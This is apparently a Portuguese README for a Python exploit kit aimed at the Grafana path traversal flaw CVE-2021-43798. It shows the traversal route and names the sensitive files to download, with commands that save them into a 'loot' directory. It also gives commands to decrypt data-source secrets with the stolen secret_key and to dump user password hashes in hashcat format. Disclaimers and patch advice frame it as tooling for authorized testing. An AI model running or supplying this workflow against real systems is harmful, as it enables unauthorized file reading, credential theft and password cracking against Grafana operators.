
Kit de ferramentas Python para testes autorizados da vulnerabilidade de path traversal CVE-2021-43798 no Grafana, com PoC de leitura arbitrária de arquivos, descriptografia de segredos e exportação de hashes de usuários para avaliações de segurança.
Kit de ferramentas Python para testes autorizados da CVE-2021-43798, uma vulnerabilidade de travessia de diretórios no Grafana que pode permitir leituras arbitrárias de arquivos sem autenticação por meio de caminhos de ativos de plugins.
Este repositório contém:
grafana_poc.py: PoC interativo de leitura arbitrária de arquivos que salva os arquivos baixados localmente.grafana_pass_decryptor.py: utilitário para descriptografar segredos criptografados de fontes de dados do Grafana quando grafana.ini e/ou a secret_key estiverem disponíveis, e para exportar hashes de senhas de usuários do Grafana a partir de grafana.db.Use este projeto somente em sistemas que você possua, opere ou tenha permissão explícita por escrito para testar. A exploração não autorizada pode expor arquivos confidenciais, credenciais, chaves privadas, conteúdo de bancos de dados e hashes de senhas de usuários.
A CVE-2021-43798 afeta as versões do Grafana de 8.0.0-beta1 até 8.3.0. As versões corrigidas são 8.3.1, 8.2.7, 8.1.8 e 8.0.7.
O problema é acessível por meio de rotas de ativos de plugins, como:
/public/plugins/<plugin-id>/../../../../../../../../../../../../..<file>
Arquivos comuns solicitados durante a validação autorizada incluem:
/etc/passwd
/etc/grafana/grafana.ini
/var/lib/grafana/grafana.db
/proc/self/cmdline
O acesso depende das permissões de sistema operacional do processo do Grafana.
requestspycryptodome ou cryptography para descriptografia de segredosInstale as dependências:
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
Execute o PoC interativo contra um alvo autorizado:
python3 grafana_poc.py -H http://target:3000 -o loot
No prompt, insira caminhos absolutos:
Download file > /etc/passwd
Download file > /etc/grafana/grafana.ini
Download file > /var/lib/grafana/grafana.db
Download file > exit
Os arquivos baixados são salvos no diretório de saída, preservando uma versão segura do caminho remoto, por exemplo:
loot/etc/grafana/grafana.ini
loot/var/lib/grafana/grafana.db
Se você tiver tanto grafana.ini quanto grafana.db, o descriptografador pode ler a secret_key do arquivo de configuração e tentar descriptografar segredos criptografados de fontes de dados, notificações de alerta e plugins:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db
Descriptografe um blob criptografado manualmente:
python3 grafana_pass_decryptor.py \
--secret-key SW2YcwTIb9zpOOhoPsMm \
--blob R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
Imprima JSON delimitado por quebras de linha:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--json
As senhas de usuários do Grafana não são segredos criptografados. Elas são hashes PBKDF2 com sal. Exporte-os da tabela user:
python3 grafana_pass_decryptor.py \
--ini loot/etc/grafana/grafana.ini \
--db loot/var/lib/grafana/grafana.db \
--users
Exporte apenas as linhas do modo 10900 do hashcat:
python3 grafana_pass_decryptor.py \
--db loot/var/lib/grafana/grafana.db \
--users \
--hashcat > hashes.txt
Atualize o Grafana para uma versão corrigida:
8.3.1 ou posterior para o branch 8.38.2.7 ou posterior para o branch 8.28.1.8 ou posterior para o branch 8.18.0.7 ou posterior para o branch 8.0Se a atualização imediata não for possível, o aviso de segurança do Grafana observa que colocar um proxy reverso na frente do Grafana que normalize os caminhos das requisições pode mitigar o comportamento de travessia. Trate isso como um controle temporário, não como um substituto para a aplicação de patches.
O PoC público original é creditado a s1gh no Exploit-DB. O fluxo de trabalho de descriptografia de segredos do Grafana é inspirado em pesquisas públicas e exemplos de jas502n/Grafana-CVE-2021-43798, com este repositório fornecendo um utilitário Python para laboratórios e fluxos de avaliação autorizada.